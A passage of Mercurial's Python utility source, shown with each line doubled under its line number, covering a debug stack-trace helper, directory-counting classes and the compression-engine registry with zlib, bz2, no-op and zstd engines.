3217 yield (fnmax, fnln, func)
3218 else:
3218 else:
3219 yield line % (fnmax, fnln, func)
3219 yield line % (fnmax, fnln, func)
3220
3220
3221 def debugstacktrace(msg='stacktrace', skip=0,
3221 def debugstacktrace(msg='stacktrace', skip=0,
3222 f=stderr, otherf=stdout, depth=0):
3222 f=stderr, otherf=stdout, depth=0):
3223 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3223 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3224 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3224 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3225 By default it will flush stdout first.
3225 By default it will flush stdout first.
3226 It can be used everywhere and intentionally does not require an ui object.
3226 It can be used everywhere and intentionally does not require an ui object.
3227 Not be used in production code but very convenient while developing.
3227 Not be used in production code but very convenient while developing.
3228 '''
3228 '''
3229 if otherf:
3229 if otherf:
3230 otherf.flush()
3230 otherf.flush()
3231 f.write('%s at:\n' % msg.rstrip())
3231 f.write('%s at:\n' % msg.rstrip())
3232 for line in getstackframes(skip + 1, depth=depth):
3232 for line in getstackframes(skip + 1, depth=depth):
3233 f.write(line)
3233 f.write(line)
3234 f.flush()
3234 f.flush()
3235
3235
3236 class dirs(object):
3236 class dirs(object):
3237 '''a multiset of directory names from a dirstate or manifest'''
3237 '''a multiset of directory names from a dirstate or manifest'''
3238
3238
3239 def __init__(self, map, skip=None):
3239 def __init__(self, map, skip=None):
3240 self._dirs = {}
3240 self._dirs = {}
3241 addpath = self.addpath
3241 addpath = self.addpath
3242 if safehasattr(map, 'iteritems') and skip is not None:
3242 if safehasattr(map, 'iteritems') and skip is not None:
3243 for f, s in map.iteritems():
3243 for f, s in map.iteritems():
3244 if s[0] != skip:
3244 if s[0] != skip:
3245 addpath(f)
3245 addpath(f)
3246 else:
3246 else:
3247 for f in map:
3247 for f in map:
3248 addpath(f)
3248 addpath(f)
3249
3249
3250 def addpath(self, path):
3250 def addpath(self, path):
3251 dirs = self._dirs
3251 dirs = self._dirs
3252 for base in finddirs(path):
3252 for base in finddirs(path):
3253 if base in dirs:
3253 if base in dirs:
3254 dirs[base] += 1
3254 dirs[base] += 1
3255 return
3255 return
3256 dirs[base] = 1
3256 dirs[base] = 1
3257
3257
3258 def delpath(self, path):
3258 def delpath(self, path):
3259 dirs = self._dirs
3259 dirs = self._dirs
3260 for base in finddirs(path):
3260 for base in finddirs(path):
3261 if dirs[base] > 1:
3261 if dirs[base] > 1:
3262 dirs[base] -= 1
3262 dirs[base] -= 1
3263 return
3263 return
3264 del dirs[base]
3264 del dirs[base]
3265
3265
3266 def __iter__(self):
3266 def __iter__(self):
3267 return iter(self._dirs)
3267 return iter(self._dirs)
3268
3268
3269 def __contains__(self, d):
3269 def __contains__(self, d):
3270 return d in self._dirs
3270 return d in self._dirs
3271
3271
3272 if safehasattr(parsers, 'dirs'):
3272 if safehasattr(parsers, 'dirs'):
3273 dirs = parsers.dirs
3273 dirs = parsers.dirs
3274
3274
3275 def finddirs(path):
3275 def finddirs(path):
3276 pos = path.rfind('/')
3276 pos = path.rfind('/')
3277 while pos != -1:
3277 while pos != -1:
3278 yield path[:pos]
3278 yield path[:pos]
3279 pos = path.rfind('/', 0, pos)
3279 pos = path.rfind('/', 0, pos)
3280
3280
3281 # compression code
3281 # compression code
3282
3282
3283 SERVERROLE = 'server'
3283 SERVERROLE = 'server'
3284 CLIENTROLE = 'client'
3284 CLIENTROLE = 'client'
3285
3285
3286 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
3286 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
3287 (u'name', u'serverpriority',
3287 (u'name', u'serverpriority',
3288 u'clientpriority'))
3288 u'clientpriority'))
3289
3289
3290 class compressormanager(object):
3290 class compressormanager(object):
3291 """Holds registrations of various compression engines.
3291 """Holds registrations of various compression engines.
3292
3292
3293 This class essentially abstracts the differences between compression
3293 This class essentially abstracts the differences between compression
3294 engines to allow new compression formats to be added easily, possibly from
3294 engines to allow new compression formats to be added easily, possibly from
3295 extensions.
3295 extensions.
3296
3296
3297 Compressors are registered against the global instance by calling its
3297 Compressors are registered against the global instance by calling its
3298 ``register()`` method.
3298 ``register()`` method.
3299 """
3299 """
3300 def __init__(self):
3300 def __init__(self):
3301 self._engines = {}
3301 self._engines = {}
3302 # Bundle spec human name to engine name.
3302 # Bundle spec human name to engine name.
3303 self._bundlenames = {}
3303 self._bundlenames = {}
3304 # Internal bundle identifier to engine name.
3304 # Internal bundle identifier to engine name.
3305 self._bundletypes = {}
3305 self._bundletypes = {}
3306 # Revlog header to engine name.
3306 # Revlog header to engine name.
3307 self._revlogheaders = {}
3307 self._revlogheaders = {}
3308 # Wire proto identifier to engine name.
3308 # Wire proto identifier to engine name.
3309 self._wiretypes = {}
3309 self._wiretypes = {}
3310
3310
3311 def __getitem__(self, key):
3311 def __getitem__(self, key):
3312 return self._engines[key]
3312 return self._engines[key]
3313
3313
3314 def __contains__(self, key):
3314 def __contains__(self, key):
3315 return key in self._engines
3315 return key in self._engines
3316
3316
3317 def __iter__(self):
3317 def __iter__(self):
3318 return iter(self._engines.keys())
3318 return iter(self._engines.keys())
3319
3319
3320 def register(self, engine):
3320 def register(self, engine):
3321 """Register a compression engine with the manager.
3321 """Register a compression engine with the manager.
3322
3322
3323 The argument must be a ``compressionengine`` instance.
3323 The argument must be a ``compressionengine`` instance.
3324 """
3324 """
3325 if not isinstance(engine, compressionengine):
3325 if not isinstance(engine, compressionengine):
3326 raise ValueError(_('argument must be a compressionengine'))
3326 raise ValueError(_('argument must be a compressionengine'))
3327
3327
3328 name = engine.name()
3328 name = engine.name()
3329
3329
3330 if name in self._engines:
3330 if name in self._engines:
3331 raise error.Abort(_('compression engine %s already registered') %
3331 raise error.Abort(_('compression engine %s already registered') %
3332 name)
3332 name)
3333
3333
3334 bundleinfo = engine.bundletype()
3334 bundleinfo = engine.bundletype()
3335 if bundleinfo:
3335 if bundleinfo:
3336 bundlename, bundletype = bundleinfo
3336 bundlename, bundletype = bundleinfo
3337
3337
3338 if bundlename in self._bundlenames:
3338 if bundlename in self._bundlenames:
3339 raise error.Abort(_('bundle name %s already registered') %
3339 raise error.Abort(_('bundle name %s already registered') %
3340 bundlename)
3340 bundlename)
3341 if bundletype in self._bundletypes:
3341 if bundletype in self._bundletypes:
3342 raise error.Abort(_('bundle type %s already registered by %s') %
3342 raise error.Abort(_('bundle type %s already registered by %s') %
3343 (bundletype, self._bundletypes[bundletype]))
3343 (bundletype, self._bundletypes[bundletype]))
3344
3344
3345 # No external facing name declared.
3345 # No external facing name declared.
3346 if bundlename:
3346 if bundlename:
3347 self._bundlenames[bundlename] = name
3347 self._bundlenames[bundlename] = name
3348
3348
3349 self._bundletypes[bundletype] = name
3349 self._bundletypes[bundletype] = name
3350
3350
3351 wiresupport = engine.wireprotosupport()
3351 wiresupport = engine.wireprotosupport()
3352 if wiresupport:
3352 if wiresupport:
3353 wiretype = wiresupport.name
3353 wiretype = wiresupport.name
3354 if wiretype in self._wiretypes:
3354 if wiretype in self._wiretypes:
3355 raise error.Abort(_('wire protocol compression %s already '
3355 raise error.Abort(_('wire protocol compression %s already '
3356 'registered by %s') %
3356 'registered by %s') %
3357 (wiretype, self._wiretypes[wiretype]))
3357 (wiretype, self._wiretypes[wiretype]))
3358
3358
3359 self._wiretypes[wiretype] = name
3359 self._wiretypes[wiretype] = name
3360
3360
3361 revlogheader = engine.revlogheader()
3361 revlogheader = engine.revlogheader()
3362 if revlogheader and revlogheader in self._revlogheaders:
3362 if revlogheader and revlogheader in self._revlogheaders:
3363 raise error.Abort(_('revlog header %s already registered by %s') %
3363 raise error.Abort(_('revlog header %s already registered by %s') %
3364 (revlogheader, self._revlogheaders[revlogheader]))
3364 (revlogheader, self._revlogheaders[revlogheader]))
3365
3365
3366 if revlogheader:
3366 if revlogheader:
3367 self._revlogheaders[revlogheader] = name
3367 self._revlogheaders[revlogheader] = name
3368
3368
3369 self._engines[name] = engine
3369 self._engines[name] = engine
3370
3370
3371 @property
3371 @property
3372 def supportedbundlenames(self):
3372 def supportedbundlenames(self):
3373 return set(self._bundlenames.keys())
3373 return set(self._bundlenames.keys())
3374
3374
3375 @property
3375 @property
3376 def supportedbundletypes(self):
3376 def supportedbundletypes(self):
3377 return set(self._bundletypes.keys())
3377 return set(self._bundletypes.keys())
3378
3378
3379 def forbundlename(self, bundlename):
3379 def forbundlename(self, bundlename):
3380 """Obtain a compression engine registered to a bundle name.
3380 """Obtain a compression engine registered to a bundle name.
3381
3381
3382 Will raise KeyError if the bundle type isn't registered.
3382 Will raise KeyError if the bundle type isn't registered.
3383
3383
3384 Will abort if the engine is known but not available.
3384 Will abort if the engine is known but not available.
3385 """
3385 """
3386 engine = self._engines[self._bundlenames[bundlename]]
3386 engine = self._engines[self._bundlenames[bundlename]]
3387 if not engine.available():
3387 if not engine.available():
3388 raise error.Abort(_('compression engine %s could not be loaded') %
3388 raise error.Abort(_('compression engine %s could not be loaded') %
3389 engine.name())
3389 engine.name())
3390 return engine
3390 return engine
3391
3391
3392 def forbundletype(self, bundletype):
3392 def forbundletype(self, bundletype):
3393 """Obtain a compression engine registered to a bundle type.
3393 """Obtain a compression engine registered to a bundle type.
3394
3394
3395 Will raise KeyError if the bundle type isn't registered.
3395 Will raise KeyError if the bundle type isn't registered.
3396
3396
3397 Will abort if the engine is known but not available.
3397 Will abort if the engine is known but not available.
3398 """
3398 """
3399 engine = self._engines[self._bundletypes[bundletype]]
3399 engine = self._engines[self._bundletypes[bundletype]]
3400 if not engine.available():
3400 if not engine.available():
3401 raise error.Abort(_('compression engine %s could not be loaded') %
3401 raise error.Abort(_('compression engine %s could not be loaded') %
3402 engine.name())
3402 engine.name())
3403 return engine
3403 return engine
3404
3404
3405 def supportedwireengines(self, role, onlyavailable=True):
3405 def supportedwireengines(self, role, onlyavailable=True):
3406 """Obtain compression engines that support the wire protocol.
3406 """Obtain compression engines that support the wire protocol.
3407
3407
3408 Returns a list of engines in prioritized order, most desired first.
3408 Returns a list of engines in prioritized order, most desired first.
3409
3409
3410 If ``onlyavailable`` is set, filter out engines that can't be
3410 If ``onlyavailable`` is set, filter out engines that can't be
3411 loaded.
3411 loaded.
3412 """
3412 """
3413 assert role in (SERVERROLE, CLIENTROLE)
3413 assert role in (SERVERROLE, CLIENTROLE)
3414
3414
3415 attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
3415 attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
3416
3416
3417 engines = [self._engines[e] for e in self._wiretypes.values()]
3417 engines = [self._engines[e] for e in self._wiretypes.values()]
3418 if onlyavailable:
3418 if onlyavailable:
3419 engines = [e for e in engines if e.available()]
3419 engines = [e for e in engines if e.available()]
3420
3420
3421 def getkey(e):
3421 def getkey(e):
3422 # Sort first by priority, highest first. In case of tie, sort
3422 # Sort first by priority, highest first. In case of tie, sort
3423 # alphabetically. This is arbitrary, but ensures output is
3423 # alphabetically. This is arbitrary, but ensures output is
3424 # stable.
3424 # stable.
3425 w = e.wireprotosupport()
3425 w = e.wireprotosupport()
3426 return -1 * getattr(w, attr), w.name
3426 return -1 * getattr(w, attr), w.name
3427
3427
3428 return list(sorted(engines, key=getkey))
3428 return list(sorted(engines, key=getkey))
3429
3429
3430 def forwiretype(self, wiretype):
3430 def forwiretype(self, wiretype):
3431 engine = self._engines[self._wiretypes[wiretype]]
3431 engine = self._engines[self._wiretypes[wiretype]]
3432 if not engine.available():
3432 if not engine.available():
3433 raise error.Abort(_('compression engine %s could not be loaded') %
3433 raise error.Abort(_('compression engine %s could not be loaded') %
3434 engine.name())
3434 engine.name())
3435 return engine
3435 return engine
3436
3436
3437 def forrevlogheader(self, header):
3437 def forrevlogheader(self, header):
3438 """Obtain a compression engine registered to a revlog header.
3438 """Obtain a compression engine registered to a revlog header.
3439
3439
3440 Will raise KeyError if the revlog header value isn't registered.
3440 Will raise KeyError if the revlog header value isn't registered.
3441 """
3441 """
3442 return self._engines[self._revlogheaders[header]]
3442 return self._engines[self._revlogheaders[header]]
3443
3443
3444 compengines = compressormanager()
3444 compengines = compressormanager()
3445
3445
3446 class compressionengine(object):
3446 class compressionengine(object):
3447 """Base class for compression engines.
3447 """Base class for compression engines.
3448
3448
3449 Compression engines must implement the interface defined by this class.
3449 Compression engines must implement the interface defined by this class.
3450 """
3450 """
3451 def name(self):
3451 def name(self):
3452 """Returns the name of the compression engine.
3452 """Returns the name of the compression engine.
3453
3453
3454 This is the key the engine is registered under.
3454 This is the key the engine is registered under.
3455
3455
3456 This method must be implemented.
3456 This method must be implemented.
3457 """
3457 """
3458 raise NotImplementedError()
3458 raise NotImplementedError()
3459
3459
3460 def available(self):
3460 def available(self):
3461 """Whether the compression engine is available.
3461 """Whether the compression engine is available.
3462
3462
3463 The intent of this method is to allow optional compression engines
3463 The intent of this method is to allow optional compression engines
3464 that may not be available in all installations (such as engines relying
3464 that may not be available in all installations (such as engines relying
3465 on C extensions that may not be present).
3465 on C extensions that may not be present).
3466 """
3466 """
3467 return True
3467 return True
3468
3468
3469 def bundletype(self):
3469 def bundletype(self):
3470 """Describes bundle identifiers for this engine.
3470 """Describes bundle identifiers for this engine.
3471
3471
3472 If this compression engine isn't supported for bundles, returns None.
3472 If this compression engine isn't supported for bundles, returns None.
3473
3473
3474 If this engine can be used for bundles, returns a 2-tuple of strings of
3474 If this engine can be used for bundles, returns a 2-tuple of strings of
3475 the user-facing "bundle spec" compression name and an internal
3475 the user-facing "bundle spec" compression name and an internal
3476 identifier used to denote the compression format within bundles. To
3476 identifier used to denote the compression format within bundles. To
3477 exclude the name from external usage, set the first element to ``None``.
3477 exclude the name from external usage, set the first element to ``None``.
3478
3478
3479 If bundle compression is supported, the class must also implement
3479 If bundle compression is supported, the class must also implement
3480 ``compressstream`` and `decompressorreader``.
3480 ``compressstream`` and `decompressorreader``.
3481
3481
3482 The docstring of this method is used in the help system to tell users
3482 The docstring of this method is used in the help system to tell users
3483 about this engine.
3483 about this engine.
3484 """
3484 """
3485 return None
3485 return None
3486
3486
3487 def wireprotosupport(self):
3487 def wireprotosupport(self):
3488 """Declare support for this compression format on the wire protocol.
3488 """Declare support for this compression format on the wire protocol.
3489
3489
3490 If this compression engine isn't supported for compressing wire
3490 If this compression engine isn't supported for compressing wire
3491 protocol payloads, returns None.
3491 protocol payloads, returns None.
3492
3492
3493 Otherwise, returns ``compenginewireprotosupport`` with the following
3493 Otherwise, returns ``compenginewireprotosupport`` with the following
3494 fields:
3494 fields:
3495
3495
3496 * String format identifier
3496 * String format identifier
3497 * Integer priority for the server
3497 * Integer priority for the server
3498 * Integer priority for the client
3498 * Integer priority for the client
3499
3499
3500 The integer priorities are used to order the advertisement of format
3500 The integer priorities are used to order the advertisement of format
3501 support by server and client. The highest integer is advertised
3501 support by server and client. The highest integer is advertised
3502 first. Integers with non-positive values aren't advertised.
3502 first. Integers with non-positive values aren't advertised.
3503
3503
3504 The priority values are somewhat arbitrary and only used for default
3504 The priority values are somewhat arbitrary and only used for default
3505 ordering. The relative order can be changed via config options.
3505 ordering. The relative order can be changed via config options.
3506
3506
3507 If wire protocol compression is supported, the class must also implement
3507 If wire protocol compression is supported, the class must also implement
3508 ``compressstream`` and ``decompressorreader``.
3508 ``compressstream`` and ``decompressorreader``.
3509 """
3509 """
3510 return None
3510 return None
3511
3511
3512 def revlogheader(self):
3512 def revlogheader(self):
3513 """Header added to revlog chunks that identifies this engine.
3513 """Header added to revlog chunks that identifies this engine.
3514
3514
3515 If this engine can be used to compress revlogs, this method should
3515 If this engine can be used to compress revlogs, this method should
3516 return the bytes used to identify chunks compressed with this engine.
3516 return the bytes used to identify chunks compressed with this engine.
3517 Else, the method should return ``None`` to indicate it does not
3517 Else, the method should return ``None`` to indicate it does not
3518 participate in revlog compression.
3518 participate in revlog compression.
3519 """
3519 """
3520 return None
3520 return None
3521
3521
3522 def compressstream(self, it, opts=None):
3522 def compressstream(self, it, opts=None):
3523 """Compress an iterator of chunks.
3523 """Compress an iterator of chunks.
3524
3524
3525 The method receives an iterator (ideally a generator) of chunks of
3525 The method receives an iterator (ideally a generator) of chunks of
3526 bytes to be compressed. It returns an iterator (ideally a generator)
3526 bytes to be compressed. It returns an iterator (ideally a generator)
3527 of bytes of chunks representing the compressed output.
3527 of bytes of chunks representing the compressed output.
3528
3528
3529 Optionally accepts an argument defining how to perform compression.
3529 Optionally accepts an argument defining how to perform compression.
3530 Each engine treats this argument differently.
3530 Each engine treats this argument differently.
3531 """
3531 """
3532 raise NotImplementedError()
3532 raise NotImplementedError()
3533
3533
3534 def decompressorreader(self, fh):
3534 def decompressorreader(self, fh):
3535 """Perform decompression on a file object.
3535 """Perform decompression on a file object.
3536
3536
3537 Argument is an object with a ``read(size)`` method that returns
3537 Argument is an object with a ``read(size)`` method that returns
3538 compressed data. Return value is an object with a ``read(size)`` that
3538 compressed data. Return value is an object with a ``read(size)`` that
3539 returns uncompressed data.
3539 returns uncompressed data.
3540 """
3540 """
3541 raise NotImplementedError()
3541 raise NotImplementedError()
3542
3542
3543 def revlogcompressor(self, opts=None):
3543 def revlogcompressor(self, opts=None):
3544 """Obtain an object that can be used to compress revlog entries.
3544 """Obtain an object that can be used to compress revlog entries.
3545
3545
3546 The object has a ``compress(data)`` method that compresses binary
3546 The object has a ``compress(data)`` method that compresses binary
3547 data. This method returns compressed binary data or ``None`` if
3547 data. This method returns compressed binary data or ``None`` if
3548 the data could not be compressed (too small, not compressible, etc).
3548 the data could not be compressed (too small, not compressible, etc).
3549 The returned data should have a header uniquely identifying this
3549 The returned data should have a header uniquely identifying this
3550 compression format so decompression can be routed to this engine.
3550 compression format so decompression can be routed to this engine.
3551 This header should be identified by the ``revlogheader()`` return
3551 This header should be identified by the ``revlogheader()`` return
3552 value.
3552 value.
3553
3553
3554 The object has a ``decompress(data)`` method that decompresses
3554 The object has a ``decompress(data)`` method that decompresses
3555 data. The method will only be called if ``data`` begins with
3555 data. The method will only be called if ``data`` begins with
3556 ``revlogheader()``. The method should return the raw, uncompressed
3556 ``revlogheader()``. The method should return the raw, uncompressed
3557 data or raise a ``RevlogError``.
3557 data or raise a ``RevlogError``.
3558
3558
3559 The object is reusable but is not thread safe.
3559 The object is reusable but is not thread safe.
3560 """
3560 """
3561 raise NotImplementedError()
3561 raise NotImplementedError()
3562
3562
3563 class _zlibengine(compressionengine):
3563 class _zlibengine(compressionengine):
3564 def name(self):
3564 def name(self):
3565 return 'zlib'
3565 return 'zlib'
3566
3566
3567 def bundletype(self):
3567 def bundletype(self):
3568 """zlib compression using the DEFLATE algorithm.
3568 """zlib compression using the DEFLATE algorithm.
3569
3569
3570 All Mercurial clients should support this format. The compression
3570 All Mercurial clients should support this format. The compression
3571 algorithm strikes a reasonable balance between compression ratio
3571 algorithm strikes a reasonable balance between compression ratio
3572 and size.
3572 and size.
3573 """
3573 """
3574 return 'gzip', 'GZ'
3574 return 'gzip', 'GZ'
3575
3575
3576 def wireprotosupport(self):
3576 def wireprotosupport(self):
3577 return compewireprotosupport('zlib', 20, 20)
3577 return compewireprotosupport('zlib', 20, 20)
3578
3578
3579 def revlogheader(self):
3579 def revlogheader(self):
3580 return 'x'
3580 return 'x'
3581
3581
3582 def compressstream(self, it, opts=None):
3582 def compressstream(self, it, opts=None):
3583 opts = opts or {}
3583 opts = opts or {}
3584
3584
3585 z = zlib.compressobj(opts.get('level', -1))
3585 z = zlib.compressobj(opts.get('level', -1))
3586 for chunk in it:
3586 for chunk in it:
3587 data = z.compress(chunk)
3587 data = z.compress(chunk)
3588 # Not all calls to compress emit data. It is cheaper to inspect
3588 # Not all calls to compress emit data. It is cheaper to inspect
3589 # here than to feed empty chunks through generator.
3589 # here than to feed empty chunks through generator.
3590 if data:
3590 if data:
3591 yield data
3591 yield data
3592
3592
3593 yield z.flush()
3593 yield z.flush()
3594
3594
3595 def decompressorreader(self, fh):
3595 def decompressorreader(self, fh):
3596 def gen():
3596 def gen():
3597 d = zlib.decompressobj()
3597 d = zlib.decompressobj()
3598 for chunk in filechunkiter(fh):
3598 for chunk in filechunkiter(fh):
3599 while chunk:
3599 while chunk:
3600 # Limit output size to limit memory.
3600 # Limit output size to limit memory.
3601 yield d.decompress(chunk, 2 ** 18)
3601 yield d.decompress(chunk, 2 ** 18)
3602 chunk = d.unconsumed_tail
3602 chunk = d.unconsumed_tail
3603
3603
3604 return chunkbuffer(gen())
3604 return chunkbuffer(gen())
3605
3605
3606 class zlibrevlogcompressor(object):
3606 class zlibrevlogcompressor(object):
3607 def compress(self, data):
3607 def compress(self, data):
3608 insize = len(data)
3608 insize = len(data)
3609 # Caller handles empty input case.
3609 # Caller handles empty input case.
3610 assert insize > 0
3610 assert insize > 0
3611
3611
3612 if insize < 44:
3612 if insize < 44:
3613 return None
3613 return None
3614
3614
3615 elif insize <= 1000000:
3615 elif insize <= 1000000:
3616 compressed = zlib.compress(data)
3616 compressed = zlib.compress(data)
3617 if len(compressed) < insize:
3617 if len(compressed) < insize:
3618 return compressed
3618 return compressed
3619 return None
3619 return None
3620
3620
3621 # zlib makes an internal copy of the input buffer, doubling
3621 # zlib makes an internal copy of the input buffer, doubling
3622 # memory usage for large inputs. So do streaming compression
3622 # memory usage for large inputs. So do streaming compression
3623 # on large inputs.
3623 # on large inputs.
3624 else:
3624 else:
3625 z = zlib.compressobj()
3625 z = zlib.compressobj()
3626 parts = []
3626 parts = []
3627 pos = 0
3627 pos = 0
3628 while pos < insize:
3628 while pos < insize:
3629 pos2 = pos + 2**20
3629 pos2 = pos + 2**20
3630 parts.append(z.compress(data[pos:pos2]))
3630 parts.append(z.compress(data[pos:pos2]))
3631 pos = pos2
3631 pos = pos2
3632 parts.append(z.flush())
3632 parts.append(z.flush())
3633
3633
3634 if sum(map(len, parts)) < insize:
3634 if sum(map(len, parts)) < insize:
3635 return ''.join(parts)
3635 return ''.join(parts)
3636 return None
3636 return None
3637
3637
3638 def decompress(self, data):
3638 def decompress(self, data):
3639 try:
3639 try:
3640 return zlib.decompress(data)
3640 return zlib.decompress(data)
3641 except zlib.error as e:
3641 except zlib.error as e:
3642 raise error.RevlogError(_('revlog decompress error: %s') %
3642 raise error.RevlogError(_('revlog decompress error: %s') %
3643 forcebytestr(e))
3643 forcebytestr(e))
3644
3644
3645 def revlogcompressor(self, opts=None):
3645 def revlogcompressor(self, opts=None):
3646 return self.zlibrevlogcompressor()
3646 return self.zlibrevlogcompressor()
3647
3647
3648 compengines.register(_zlibengine())
3648 compengines.register(_zlibengine())
3649
3649
3650 class _bz2engine(compressionengine):
3650 class _bz2engine(compressionengine):
3651 def name(self):
3651 def name(self):
3652 return 'bz2'
3652 return 'bz2'
3653
3653
3654 def bundletype(self):
3654 def bundletype(self):
3655 """An algorithm that produces smaller bundles than ``gzip``.
3655 """An algorithm that produces smaller bundles than ``gzip``.
3656
3656
3657 All Mercurial clients should support this format.
3657 All Mercurial clients should support this format.
3658
3658
3659 This engine will likely produce smaller bundles than ``gzip`` but
3659 This engine will likely produce smaller bundles than ``gzip`` but
3660 will be significantly slower, both during compression and
3660 will be significantly slower, both during compression and
3661 decompression.
3661 decompression.
3662
3662
3663 If available, the ``zstd`` engine can yield similar or better
3663 If available, the ``zstd`` engine can yield similar or better
3664 compression at much higher speeds.
3664 compression at much higher speeds.
3665 """
3665 """
3666 return 'bzip2', 'BZ'
3666 return 'bzip2', 'BZ'
3667
3667
3668 # We declare a protocol name but don't advertise by default because
3668 # We declare a protocol name but don't advertise by default because
3669 # it is slow.
3669 # it is slow.
3670 def wireprotosupport(self):
3670 def wireprotosupport(self):
3671 return compewireprotosupport('bzip2', 0, 0)
3671 return compewireprotosupport('bzip2', 0, 0)
3672
3672
3673 def compressstream(self, it, opts=None):
3673 def compressstream(self, it, opts=None):
3674 opts = opts or {}
3674 opts = opts or {}
3675 z = bz2.BZ2Compressor(opts.get('level', 9))
3675 z = bz2.BZ2Compressor(opts.get('level', 9))
3676 for chunk in it:
3676 for chunk in it:
3677 data = z.compress(chunk)
3677 data = z.compress(chunk)
3678 if data:
3678 if data:
3679 yield data
3679 yield data
3680
3680
3681 yield z.flush()
3681 yield z.flush()
3682
3682
3683 def decompressorreader(self, fh):
3683 def decompressorreader(self, fh):
3684 def gen():
3684 def gen():
3685 d = bz2.BZ2Decompressor()
3685 d = bz2.BZ2Decompressor()
3686 for chunk in filechunkiter(fh):
3686 for chunk in filechunkiter(fh):
3687 yield d.decompress(chunk)
3687 yield d.decompress(chunk)
3688
3688
3689 return chunkbuffer(gen())
3689 return chunkbuffer(gen())
3690
3690
3691 compengines.register(_bz2engine())
3691 compengines.register(_bz2engine())
3692
3692
3693 class _truncatedbz2engine(compressionengine):
3693 class _truncatedbz2engine(compressionengine):
3694 def name(self):
3694 def name(self):
3695 return 'bz2truncated'
3695 return 'bz2truncated'
3696
3696
3697 def bundletype(self):
3697 def bundletype(self):
3698 return None, '_truncatedBZ'
3698 return None, '_truncatedBZ'
3699
3699
3700 # We don't implement compressstream because it is hackily handled elsewhere.
3700 # We don't implement compressstream because it is hackily handled elsewhere.
3701
3701
3702 def decompressorreader(self, fh):
3702 def decompressorreader(self, fh):
3703 def gen():
3703 def gen():
3704 # The input stream doesn't have the 'BZ' header. So add it back.
3704 # The input stream doesn't have the 'BZ' header. So add it back.
3705 d = bz2.BZ2Decompressor()
3705 d = bz2.BZ2Decompressor()
3706 d.decompress('BZ')
3706 d.decompress('BZ')
3707 for chunk in filechunkiter(fh):
3707 for chunk in filechunkiter(fh):
3708 yield d.decompress(chunk)
3708 yield d.decompress(chunk)
3709
3709
3710 return chunkbuffer(gen())
3710 return chunkbuffer(gen())
3711
3711
3712 compengines.register(_truncatedbz2engine())
3712 compengines.register(_truncatedbz2engine())
3713
3713
3714 class _noopengine(compressionengine):
3714 class _noopengine(compressionengine):
3715 def name(self):
3715 def name(self):
3716 return 'none'
3716 return 'none'
3717
3717
3718 def bundletype(self):
3718 def bundletype(self):
3719 """No compression is performed.
3719 """No compression is performed.
3720
3720
3721 Use this compression engine to explicitly disable compression.
3721 Use this compression engine to explicitly disable compression.
3722 """
3722 """
3723 return 'none', 'UN'
3723 return 'none', 'UN'
3724
3724
3725 # Clients always support uncompressed payloads. Servers don't because
3725 # Clients always support uncompressed payloads. Servers don't because
3726 # unless you are on a fast network, uncompressed payloads can easily
3726 # unless you are on a fast network, uncompressed payloads can easily
3727 # saturate your network pipe.
3727 # saturate your network pipe.
3728 def wireprotosupport(self):
3728 def wireprotosupport(self):
3729 return compewireprotosupport('none', 0, 10)
3729 return compewireprotosupport('none', 0, 10)
3730
3730
3731 # We don't implement revlogheader because it is handled specially
3731 # We don't implement revlogheader because it is handled specially
3732 # in the revlog class.
3732 # in the revlog class.
3733
3733
3734 def compressstream(self, it, opts=None):
3734 def compressstream(self, it, opts=None):
3735 return it
3735 return it
3736
3736
3737 def decompressorreader(self, fh):
3737 def decompressorreader(self, fh):
3738 return fh
3738 return fh
3739
3739
3740 class nooprevlogcompressor(object):
3740 class nooprevlogcompressor(object):
3741 def compress(self, data):
3741 def compress(self, data):
3742 return None
3742 return None
3743
3743
3744 def revlogcompressor(self, opts=None):
3744 def revlogcompressor(self, opts=None):
3745 return self.nooprevlogcompressor()
3745 return self.nooprevlogcompressor()
3746
3746
3747 compengines.register(_noopengine())
3747 compengines.register(_noopengine())
3748
3748
3749 class _zstdengine(compressionengine):
3749 class _zstdengine(compressionengine):
3750 def name(self):
3750 def name(self):
3751 return 'zstd'
3751 return 'zstd'
3752
3752
3753 @propertycache
3753 @propertycache
3754 def _module(self):
3754 def _module(self):
3755 # Not all installs have the zstd module available. So defer importing
3755 # Not all installs have the zstd module available. So defer importing
3756 # until first access.
3756 # until first access.
3757 try:
3757 try:
3758 from . import zstd
3758 from . import zstd
3759 # Force delayed import.
3759 # Force delayed import.
3760 zstd.__version__
3760 zstd.__version__
3761 return zstd
3761 return zstd
3762 except ImportError:
3762 except ImportError:
3763 return None
3763 return None
3764
3764
3765 def available(self):
3765 def available(self):
3766 return bool(self._module)
3766 return bool(self._module)
3767
3767
3768 def bundletype(self):
3768 def bundletype(self):
3769 """A modern compression algorithm that is fast and highly flexible.
3769 """A modern compression algorithm that is fast and highly flexible.
3770
3770
3771 Only supported by Mercurial 4.1 and newer clients.
3771 Only supported by Mercurial 4.1 and newer clients.
3772
3772
3773 With the default settings, zstd compression is both faster and yields
3773 With the default settings, zstd compression is both faster and yields
3774 better compression than ``gzip``. It also frequently yields better
3774 better compression than ``gzip``. It also frequently yields better
3775 compression than ``bzip2`` while operating at much higher speeds.
3775 compression than ``bzip2`` while operating at much higher speeds.
3776
3776
3777 If this engine is available and backwards compatibility is not a
3777 If this engine is available and backwards compatibility is not a
3778 concern, it is likely the best available engine.
3778 concern, it is likely the best available engine.
3779 """
3779 """
3780 return 'zstd', 'ZS'
3780 return 'zstd', 'ZS'
3781
3781
3782 def wireprotosupport(self):
3782 def wireprotosupport(self):
3783 return compewireprotosupport('zstd', 50, 50)
3783 return compewireprotosupport('zstd', 50, 50)
3784
3784
3785 def revlogheader(self):
3785 def revlogheader(self):
3786 return '\x28'
3786 return '\x28'
3787
3787
3788 def compressstream(self, it, opts=None):
3788 def compressstream(self, it, opts=None):
3789 opts = opts or {}
3789 opts = opts or {}
3790 # zstd level 3 is almost always significantly faster than zlib
3790 # zstd level 3 is almost always significantly faster than zlib
3791 # while providing no worse compression. It strikes a good balance
3791 # while providing no worse compression. It strikes a good balance
3792 # between speed and compression.
3792 # between speed and compression.
3793 level = opts.get('level', 3)
3793 level = opts.get('level', 3)
3794
3794
3795 zstd = self._module
3795 zstd = self._module
